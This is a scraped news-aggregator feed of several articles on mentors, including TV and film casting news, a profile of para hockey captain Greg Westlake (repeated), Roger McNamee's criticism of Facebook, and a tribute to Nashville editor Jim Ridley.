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]]> https://briefnews.eu/the-voice-recap-which-contestants-did-mega-mentor-taylor-swift-guide-to-victories-in-the-first-of-the-knockouts/feed/ 0 TVLine Items: Arrow Casts Diggle's Mentor, Fear TWD Promotion and More https://briefnews.eu/tvline-items-arrow-casts-diggles-mentor-fear-twd-promotion-and-more/ https://briefnews.eu/tvline-items-arrow-casts-diggles-mentor-fear-twd-promotion-and-more/#respond Wed, 06 Mar 2019 20:12:31 +0000 http://briefnews.eu/tvline-items-arrow-casts-diggles-mentor-fear-twd-promotion-and-more/

Diggle is getting a blast from the past on Arrow: Ernie Hudson will guest-star on the CW series as a four-star general of the Defense Intelligence Agency who shares a history with Dig, our sister site Deadline reports.

Hudson appears in Episode 19, titled “Spartan,” when Dig and the general are forced to reconnect for a Team Arrow mission despite unresolved tension from their past.

Hudson — who next co-stars in the Spectrum drama L.A.’s Finest — is known for his role as Winston Zeddemore in the original Ghostbusters film franchise. The actor’s many small-screen credits include Grace and Frankie, APB, The Secret Life of the American Teenager and Oz.

Ready for more of today’s newsy nuggets? Well…

* Fear the Walking Dead has promoted Alexa Nisenson, who plays former Vultures spy Charlie, to series regular for Season 5, per Deadline.

* Jonathan Van Ness (Queer Eye) will guest-star on Netflix’s forthcoming figure skating drama Spinning Out as a former skater-turned-choreographer.

* Animal Kingdom has tapped Jon Beavers (The Long Road Home) and Grant Harvey (The Crossing, The Secret Life of the American Teenager) to recur during Season 4 as members of a crew who are committing armed robberies up and down the California coast, per Deadline.

* Anthony Stewart Head (Buffy the Vampire Slayer) has joined star Richard Armitage in the cast of the upcoming Netflix thriller The Stranger, along with Siobhan Finneran (Happy Valley), Jennifer Saunders (Absolutely Fabulous) and Hannah John-Kamen (Killjoys).

* Epix has released a trailer for the modern noir drama Perpetual Grace, LTD, starring Sir Ben Kingsley, Jimmi Simpson and Jacki Weaver. The series premieres Sunday, June 2.

Which of today’s TVLine Items pique your interest?

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]]> https://briefnews.eu/tvline-items-arrow-casts-diggles-mentor-fear-twd-promotion-and-more/feed/ 0 Finding the Perfect Mentor https://briefnews.eu/finding-the-perfect-mentor/ https://briefnews.eu/finding-the-perfect-mentor/#respond Fri, 01 Jun 2018 04:16:33 +0000 http://briefnews.eu/finding-the-perfect-mentor/

OZY has come together with JPMorgan Chase to bring you a special series, giving you an inside look at how the world’s workplace is changing. Whether it’s in business, law or science, an emerging group of men and women worldwide are redefining what it means to be a powerhouse in today’s workforce. And plenty are going into business for themselves, often with an eye for sustainability.

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]]> https://briefnews.eu/finding-the-perfect-mentor/feed/ 0 Disney’s Live-Action ‘Mulan’ Casts Donnie Yen As Mulan’s Mentor https://briefnews.eu/disneys-live-action-mulan-casts-donnie-yen-as-mulans-mentor/ https://briefnews.eu/disneys-live-action-mulan-casts-donnie-yen-as-mulans-mentor/#respond Thu, 12 Apr 2018 00:56:50 +0000 http://briefnews.eu/disneys-live-action-mulan-casts-donnie-yen-as-mulans-mentor/ Mulan cast Donnie Yen

The coolness factor of Disney’s live-action Mulan has just increased considerably. Rogue One: A Star Wars Story actor Donnie Yen has joined the live-action Mulan cast as a mentor to Mulan.

Donnie Yen is ready to get down to business. The actor has joined the cast of Disney’s live-action Mulan, alongside star Liu Yifei. Whale Rider director Niki Caro will helm the film, which will re-adapt Disney’s 1998 animated musical. The Hollywood Reporter confirms Yen will be playing a character named Commander Tung, who serves as a mentor to Mulan. Yen’s character doesn’t appear in the original animated musical, indicating Disney isn’t approaching Mulan the same way they approached their live-action Beauty and the Beast, which was essentially a scene-for-scene remake of the animated film.

Adding Yen to the cast is a great move, because he has a way of elevating any film he’s in. He’s even great in xXx: The Return of Xander Cage, for crying out loud. This is also yet another Disney outing for Yen, who also appeared in Disney’s Rogue One: A Star Wars Story.

Mulan is based on the Chinese legend of Hua Mulan, a young woman who posed as a man to go to war in her father’s place. The 1998 film featured the voices of Ming-Na Wen, Eddie Murphy, Miguel Ferrer, and BD Wong, and included some killer songs, like this one!

I’ll Make A Man Out Of You

Of the live-action take on the material, director Niki Caro previously said:

“I haven’t started yet so I can’t give you any real detail. But the budget and the location and the story is offering such scope to me for [an] incredible, muscular piece of girly martial arts extravaganza in China. And I can’t wait.”

Mulan is yet another live-action remake for Disney, who have fully embraced the idea of dipping into their vault and dusting off their classics. After Tim Burton’s Alice in Wonderland, Robert Stromberg’s Maleficent and Kenneth Branagh’s Alice in Wonderland cleaned up at the box office, Disney realized there was gold in them there live-action remake hills.

Since then, they’ve released live-action remakes of The Jungle Book and Beauty and the Beast. On the horizon, Disney has live-action remakes of Peter Pan, Dumbo, The Lion King (which isn’t quite live-action, since it’ll feature mostly CGI creatures), Aladdin, Pinocchio, Lady and the Tramp, and The Sword in the Stone. And then there are the films that will serve as sequels to their animated movies, like Christopher Robin and Prince Charming. There are probably more I’m forgetting. In fact, Disney probably announced ten more as I was typing this.

The live-action Mulan was originally set to open in 2018, but the release date was pushed to 2020. Mulan will now hit theaters March 27, 2020.

The post Disney’s Live-Action ‘Mulan’ Casts Donnie Yen As Mulan’s Mentor appeared first on /Film.

]]> https://briefnews.eu/disneys-live-action-mulan-casts-donnie-yen-as-mulans-mentor/feed/ 0 Para hockey stalwart Greg Westlake always willing to mentor others https://briefnews.eu/para-hockey-stalwart-greg-westlake-always-willing-to-mentor-others-2/ https://briefnews.eu/para-hockey-stalwart-greg-westlake-always-willing-to-mentor-others-2/#respond Mon, 05 Mar 2018 22:08:16 +0000 http://briefnews.eu/para-hockey-stalwart-greg-westlake-always-willing-to-mentor-others-2/

In 2011, Michelle Salt was in an Edmonton hospital bed lucky to be alive. After a horrific motorcycle accident, she had endured multiple surgeries but doctors were unable to save her left leg. She was told she would never walk again.

In the haze of the life-altering news, Salt, a longtime athlete before the accident, focused on one thing.

“I decided I wanted to become a Paralympian the day I came off of life support,” Salt says. “Everyone was like ‘you are heavily medicated we will talk about this later.'”

Her roommate happened to know somebody who knew a few things about the Paralympics.

Greg Westlake was in Edmonton when Salt’s roommate called — unusual since the longtime captain of Canada`s Paralympic hockey team lived and trained in Toronto.

He had never met Salt but quickly came to the hospital where talk quickly shifted to Salt’s unformed Paralympic ambitions.

“His advice was so important to me. He said go on the website and pick sports you want to try,” Salt recalled. “Snowboarding wasn`t actually an event yet, it was a late addition. He also told me realistically it would take three years to get on to a national team and five years to make it to a Games. Fast forward to the 2014 Games and I’m standing next to Greg walking into [the] opening ceremonies and he says to me ‘I knew you were going to do it, I just didn’t think it would be this soon.'”

Stories like this are why Westlake is one of those names in sports that makes fellow athletes stop and smile.

Westlake isn’t comfortable talking about himself and is unsure why his words seem to resonate.

“I have no idea. I speak from the heart, I’m very passionate. I love this, I love my sport, I love the people around me,” Westlake said.

Westlake, who was born missing both feet, said his family never focused on his disability and offered only encouragement. It has become the core of his message to others.

“I think I’m so lucky because it’s all I ever knew and so for me, meeting all these incredible people who have battled all this adversity and come out the other side great people, I think I owe it to myself just to sleep well at night to go share those stories and make sure that other people are appreciated for what they’ve done and contributed, and that’s what takes me to some rehab centres and hospitals.”

Unparalleled success

Westlake’s unparalleled success on the ice obviously gives his message resonance. He is not an athlete who has simply participated. Instead, Westlake has been the backbone of para hockey in Canada for the last decade. His accomplishments and accolades are lengthy. The Games in Pyeongchang will mark the Canadian captain`s fourth Paralympics. He was part of gold-medal winning team in Torino in in 2006, and most recently in Sochi, led the team to a bronze medal. He has also represented Canada at seven world championships, capturing the title on three occasions.

Westlake hasn’t decided whether these Games will be his last.

“I mean we’ll see what happens. I’m having a lot of fun right now. I’ll never say never but we’ll see what happens. I’d like to move on and start doing some life stuff but I’m having a great time playing hockey.”

If Westlake does decide to move on to his next chapter, his presence and more importantly his words will be missed in the dressing room. Hockey players don’t often get emotional talking about a teammate.

“He is a great leader and a great captain,” said defenceman Adam Dixon, who has played alongside Westlake for more than a decade. “He has mentored me and I have looked up to him for a long time. He has taught me a lot of life lessons and a lot of hockey lessons. There are countless things I have learned from him.”

“He’s such a Canadian hockey player and he’s willing to do whatever it takes to win on any given night. And I’ve been fortunate to learn from Greg now for five years,” added winger Tyler McGregor. “He’s done so much for the sport. He’s been someone who’s driven it forward in terms of growing the sport off the ice.”

Westlake said it’s the only way he knows.

“You have to genuinely care about people and I’ve said this about my teammates before, I hope we win 20 gold medals but I also hope that we have a bunch of guys who graduate from university, have good jobs, have happy and healthy families, and you know, at the end of the day I think that’s what brings you real happiness is having that bond.”

Canadian ambassador

Whatever happens after these Games, Westlake seems comfortable continuing to be an ambassador for the sport he loves

He will continue to fight for para athletes, pushing to blur the lines between the Olympics and the Paralympics that usually happen a few weeks later.

“I don’t get it. You know it’s supposed to mean parallel to the other Olympics but we’re not parallel to the Olympics. We’re two weeks after and it’s a weird setup,” said Westlake. 

Teammate Adam Nixon, right, sees the contributions Westlake makes on a daily basis.(Lyle Stafford/Reuters)

“I’d run them at the same time. I know it’s a touchy subject especially with the Olympic committee and it’s a logistical nightmare as well. I think in a perfect world, we get to the point where we’re in there together and it’s just competition and I think if you ever did that, what a way to make Canadians care about Paralympics if our medals counted towards the medal count. All of a sudden, if the sledge hockey gets a medal in the medal count, I think that would be a really cool thing.”

Westlake will also continue to offer the guidance he’s given to Salt and countless others: pick a sport and give it a try.

“It’s a lot of fun and I say this when I do a school visit or when I meet new people, you don’t have to have a disability to try a sport,” Westlake said. “You could jump in a sled and play like, you and me if we sit in a sled, we’re on an even playing ground. Don’t just pretend to do it in your gym, go to the rink, get on a sled. Go to the rink and curl for a bit, wheelchair curl. Play a game of wheelchair basketball. You don’t need to be disabled to try any of these things.”

Those are big words from one of the giants of Paralympic sports.

“One of my goals personally is whatever you have, leave it better than you found it and I think we’ve done that here.”

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]]> https://briefnews.eu/para-hockey-stalwart-greg-westlake-always-willing-to-mentor-others-2/feed/ 0 Para hockey stalwart Greg Westlake always willing to mentor others https://briefnews.eu/para-hockey-stalwart-greg-westlake-always-willing-to-mentor-others/ https://briefnews.eu/para-hockey-stalwart-greg-westlake-always-willing-to-mentor-others/#respond Mon, 05 Mar 2018 20:08:55 +0000 http://briefnews.eu/para-hockey-stalwart-greg-westlake-always-willing-to-mentor-others/

In 2011, Michelle Salt was in an Edmonton hospital bed lucky to be alive. After a horrific motorcycle accident, she had endured multiple surgeries but doctors were unable to save her left leg. She was told she would never walk again.

In the haze of the life-altering news, Salt, a longtime athlete before the accident, focused on one thing.

“I decided I wanted to become a Paralympian the day I came off of life support,” Salt says. “Everyone was like ‘you are heavily medicated we will talk about this later.'”

Her roommate happened to know somebody who knew a few things about the Paralympics.

Greg Westlake was in Edmonton when Salt’s roommate called — unusual since the longtime captain of Canada`s Paralympic hockey team lived and trained in Toronto.

He had never met Salt but quickly came to the hospital where talk quickly shifted to Salt’s unformed Paralympic ambitions.

“His advice was so important to me. He said go on the website and pick sports you want to try,” Salt recalled. “Snowboarding wasn`t actually an event yet, it was a late addition. He also told me realistically it would take three years to get on to a national team and five years to make it to a Games. Fast forward to the 2014 Games and I’m standing next to Greg walking into [the] opening ceremonies and he says to me ‘I knew you were going to do it, I just didn’t think it would be this soon.'”

Stories like this are why Westlake is one of those names in sports that makes fellow athletes stop and smile.

Westlake isn’t comfortable talking about himself and is unsure why his words seem to resonate.

“I have no idea. I speak from the heart, I’m very passionate. I love this, I love my sport, I love the people around me,” Westlake said.

Westlake, who was born missing both feet, said his family never focused on his disability and offered only encouragement. It has become the core of his message to others.

“I think I’m so lucky because it’s all I ever knew and so for me, meeting all these incredible people who have battled all this adversity and come out the other side great people, I think I owe it to myself just to sleep well at night to go share those stories and make sure that other people are appreciated for what they’ve done and contributed, and that’s what takes me to some rehab centres and hospitals.”

Unparalleled success

Westlake’s unparalleled success on the ice obviously gives his message resonance. He is not an athlete who has simply participated. Instead, Westlake has been the backbone of para hockey in Canada for the last decade. His accomplishments and accolades are lengthy. The Games in Pyeongchang will mark the Canadian captain`s fourth Paralympics. He was part of gold-medal winning team in Torino in in 2006, and most recently in Sochi, led the team to a bronze medal. He has also represented Canada at seven world championships, capturing the title on three occasions.

Westlake hasn’t decided whether these Games will be his last.

“I mean we’ll see what happens. I’m having a lot of fun right now. I’ll never say never but we’ll see what happens. I’d like to move on and start doing some life stuff but I’m having a great time playing hockey.”

If Westlake does decide to move on to his next chapter, his presence and more importantly his words will be missed in the dressing room. Hockey players don’t often get emotional talking about a teammate.

“He is a great leader and a great captain,” said defenceman Adam Dixon, who has played alongside Westlake for more than a decade. “He has mentored me and I have looked up to him for a long time. He has taught me a lot of life lessons and a lot of hockey lessons. There are countless things I have learned from him.”

“He’s such a Canadian hockey player and he’s willing to do whatever it takes to win on any given night. And I’ve been fortunate to learn from Greg now for five years,” added winger Tyler McGregor. “He’s done so much for the sport. He’s been someone who’s driven it forward in terms of growing the sport off the ice.”

Westlake said it’s the only way he knows.

“You have to genuinely care about people and I’ve said this about my teammates before, I hope we win 20 gold medals but I also hope that we have a bunch of guys who graduate from university, have good jobs, have happy and healthy families, and you know, at the end of the day I think that’s what brings you real happiness is having that bond.”

Canadian ambassador

Whatever happens after these Games, Westlake seems comfortable continuing to be an ambassador for the sport he loves

He will continue to fight for para athletes, pushing to blur the lines between the Olympics and the Paralympics that usually happen a few weeks later.

“I don’t get it. You know it’s supposed to mean parallel to the other Olympics but we’re not parallel to the Olympics. We’re two weeks after and it’s a weird setup,” said Westlake. 

Teammate Adam Nixon, right, sees the contributions Westlake makes on a daily basis.(Lyle Stafford/Reuters)

“I’d run them at the same time. I know it’s a touchy subject especially with the Olympic committee and it’s a logistical nightmare as well. I think in a perfect world, we get to the point where we’re in there together and it’s just competition and I think if you ever did that, what a way to make Canadians care about Paralympics if our medals counted towards the medal count. All of a sudden, if the sledge hockey gets a medal in the medal count, I think that would be a really cool thing.”

Westlake will also continue to offer the guidance he’s given to Salt and countless others: pick a sport and give it a try.

“It’s a lot of fun and I say this when I do a school visit or when I meet new people, you don’t have to have a disability to try a sport,” Westlake said. “You could jump in a sled and play like, you and me if we sit in a sled, we’re on an even playing ground. Don’t just pretend to do it in your gym, go to the rink, get on a sled. Go to the rink and curl for a bit, wheelchair curl. Play a game of wheelchair basketball. You don’t need to be disabled to try any of these things.”

Those are big words from one of the giants of Paralympic sports.

“One of my goals personally is whatever you have, leave it better than you found it and I think we’ve done that here.”

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]]> https://briefnews.eu/para-hockey-stalwart-greg-westlake-always-willing-to-mentor-others/feed/ 0 Mark Zuckerberg’s former mentor has spent a week attacking Facebook for becoming ‘toxic’ (FB) https://briefnews.eu/mark-zuckerbergs-former-mentor-has-spent-a-week-attacking-facebook-for-becoming-toxic-fb/ https://briefnews.eu/mark-zuckerbergs-former-mentor-has-spent-a-week-attacking-facebook-for-becoming-toxic-fb/#respond Mon, 15 Jan 2018 13:25:17 +0000 http://briefnews.eu/mark-zuckerbergs-former-mentor-has-spent-a-week-attacking-facebook-for-becoming-toxic-fb/ Roger McNameeRob Kim/Getty

  • Roger McNamee, an early Facebook investor, has spent the last week attacking chief executive Mark Zuckerberg for his firm’s role in spreading fake news during elections.
  • McNamee said he noticed anti-Hillary Clinton memes spread by “bad actors” in early 2016, and later flagged this to Facebook, which he said didn’t take his concerns seriously.
  • Now Facebook and other tech firms are under scrutiny from Congress about whether their algorithms promoted fake information.
  • McNamee said Facebook needed to completely retool its business model.

Roger McNamee, an early Facebook investor and ex-mentor to CEO Mark Zuckerberg, has spent a week attacking his former protégé and his company for harming users and for spreading fake news.

McNamee has written articles for The Washington Monthly, The Washington Post, and The Guardian over the last week, accusing Facebook of ignoring “bad actors” who manipulate its platform.

McNamee said Zuckerberg should appear before Congress to justify Facebook’s “refusal to accept responsibility” for harming users.

He wrote in The Washington Monthly that he flagged misinformation around the US presidential elections to Facebook in early 2017, and that the firm didn’t take his concerns seriously.

“The platform was being exploited by a range of bad actors, including supporters of extremism, yet management claimed the company was not responsible,” he wrote. “Facebook’s users, I warned, might not always agree. The brand was at risk of becoming toxic.”

In The Washington Post, McNamee argued that Facebook was “tailor-made for abuse by bad actors” and that users should expect more fake news and manipulation of elections.

He wrote: “The same tools that make Facebook so addictive for users and so effective for advertisers are dangerous in the hands of bad actors.

“And thanks to automation, Facebook cannot currently prevent harm. It will happen again and again until Facebook takes aggressive action. The problem cannot be fixed by hiring contractors to review problematic posts. The company needs to change the priorities of its algorithms and retool its business model.”

Facebook has faced criticism for working as a platform for alleged Russian interference in the US election. Evidence has shown that accounts linked to Russia sought to exploit racial divisions in the US and used Facebook’s targeted advertising tool to reach voters.

Zuckerberg said in a live video on September 21 that “I care deeply about the democratic process and protecting its integrity. I don’t want anyone to use our tools to undermine democracy.”

According to McNamee’s version of events, he received a call from Facebook’s then-chief privacy officer Chris Ziegler in 2006. Ziegler was hoping McNamee, as an experienced investor and disinterested party, could advise a young Mark Zuckerberg about whether to sell Facebook or not. McNamee met with Zuckerberg and advised him not to sell the company. “I was convinced that Mark had created a game-changing platform that would eventually be bigger than Google was at the time,” McNamee wrote.

What followed, he said, “was the most painful silence of my professional career.”

As it happened, Yahoo had just offered $ 1 billion (then around £509 million) for Facebook. Though everyone was advising the opposite, Zuckerberg took McNamee’s advice and turned the offer down. McNamee went on to mentor Zuckerberg and invest in Facebook through Elevation Partners, the investment firm he cofounded with U2 frontman Bono.

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]]> https://briefnews.eu/mark-zuckerbergs-former-mentor-has-spent-a-week-attacking-facebook-for-becoming-toxic-fb/feed/ 0 Facebook’s new community tools help you become a mentor https://briefnews.eu/facebooks-new-community-tools-help-you-become-a-mentor/ https://briefnews.eu/facebooks-new-community-tools-help-you-become-a-mentor/#respond Wed, 29 Nov 2017 22:08:25 +0000 http://briefnews.eu/facebooks-new-community-tools-help-you-become-a-mentor/

Facebook is once again hosting a Social Good Forum, and that means a new suite of tools and updates to help communities. To start, there’s a Mentorship and Support feature that helps mentors and would-be learners connect with each other to step through guided nonprofit programs. Also, the social network is eliminating fees for donations to nonprofits — you can be sure that every bit of money you contribute will go to those that need it.

Further upgrades expand fundraiser creation to more regions (including Australia, New Zealand, Canada and Europe) and blood donation searches are expanding to Bangladesh. There’s a fundraiser developer toolkit to link Facebook fundraising to outside campaigns, and a community help toolkit to provide data to disaster response teams. Simultaneously, Facebook is launching a $ 50 million annual fund that will directly contribute to disaster relief starting in 2018.

The efforts could go some way toward helping people in need, and it’s easy to see the elimination of donation fees leading to more Facebook-based charity drives. The initiative comes at an awkward time for Facebook, mind you. Mark Zuckerberg recently had to apologize for an insensitive VR tour of Puerto Rico, and there have been protests as officials evict homeless people near a Zuckerberg/Chan-backed private school for low-income families. As much as the company is doing to help the less fortunate, it’s still grappling with its own ethical dilemmas.

Source: Facebook Newsroom

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]]> https://briefnews.eu/facebooks-new-community-tools-help-you-become-a-mentor/feed/ 0 The Quiet Mentor https://briefnews.eu/the-quiet-mentor/ https://briefnews.eu/the-quiet-mentor/#respond Thu, 12 Oct 2017 08:35:05 +0000 http://briefnews.eu/the-quiet-mentor/ The average reader has likely never heard of Jim Ridley. That’s, at least in part, by design. Though a gifted writer and editor in his own right, Ridley possessed an uncommon ability to see the talents of others. People often describe mentorship relationships by saying that mentors pull their acolytes up the career ladder with them. In Ridley’s case, it’s more accurate to say that he pulled people up, then lifted them past him.

Ridley began his career in 1989 at the alt-weekly the Nashville Scene as a film critic, eventually rising to be its top editor, a position he held for seven years until his death in 2016, when he was only 50 years old. I worked with him at the Scene from 2007 to 2014. He taught me many things, any number of which I didn’t realize were important lessons until after he was gone.

Ridley’s talents as a journalist were widely respected by his  peers. Before he joined The New York Times, the late David Carr would single out Ridley’s columns to show his staff at the Washington City Paper as examples of particularly strong writing. Ridley could certainly turn a phrase. “Emir Kusturica’s Underground is, among other things, the first movie about the collapse of the former Yugoslavia that you could recommend wholeheartedly to a Three Stooges fan,” Jim writes in his 1998 review. Later, he adds, “The whole thing is propelled by a frantic Goran Bregovic score that sounds like an army of ducks walking on bicycle horns.”

But despite the numerous and varied offers Ridley received to move to bigger, more prestigious jobs—often via people he had successfully mentored into those positions—he turned them down again and again. He loved Nashville, and shunned the spotlight—at least for himself.

“I couldn’t imagine that anyone that gifted as a writer and editor would be that humble,” Tracy Moore, a former staff editor and reporter at the Scene, remembered. “And it’s not just that Ridley never met a compliment he couldn’t back away from, muttering in protest. It’s that he took my ideas seriously and helped shape them with respect and enthusiasm, even when they were too broad, or too unwieldy, or too green.”

One of the few times I remember seeing Ridley really struggle with a piece of writing, he wouldn’t tell me what it was. He shrugged it off and, typical of Ridley, shifted the focus to my own life. How were my kids? How was my wife’s job going? Many months later, I pieced together that “something” was one of the most piercing film essays I’ve ever read—a gorgeous rumination on Jacques Demy’s 1964 movie musical The Umbrellas of Cherbourg, for the Criterion Collection.

Most writers I know would have seen that gig as a breakthrough—a cinephile’s dream. But Ridley didn’t even tell me the essay had been published. Contrast that with the time I had an op-ed appear in the Times, which Ridley emailed to everyone in the Scene offices (where I no longer worked) and posted from every social media account he had a password for, as best I could tell.

Courtesy of Steve Haruch

“Ridley was quick with praise and—astonishingly to me even now—more than willing to give me plum assignments that he easily could’ve kept for himself, at a time when frankly I wasn’t that good of a writer,” said Noel Murray, who contributed to the Scene for a decade.

“The thing I do remember from Jim is utter selflessness,” said the Village Voice film critic Bilge Ebiri, a frequent contributor to the Scene film section over the years. “Always, always, always giving credit to other people. And always encouraging. ‘I knew you were the right guy to write this piece,’ is something he liked to say. And it never sounded like bullshit, or just a nice guy being nice.”

Saying Ridley was a nice guy is kind of like saying Wes Anderson has an interest in art direction. It’s a colossal understatement. The brass at SouthComm, the company that purchased the Scene from Village Voice Media in 2009, almost decided against promoting Ridley to editor in chief because they worried he was too nice. But he was tough where it counted. “He kicked me in the butt when I really needed a good butt-kicking,” Murray told me. And he never swerved from what he believed in—his family, his city, his newsroom, and his mentorship of people with the hope that he’d be eclipsed by them someday.

Business | The Atlantic

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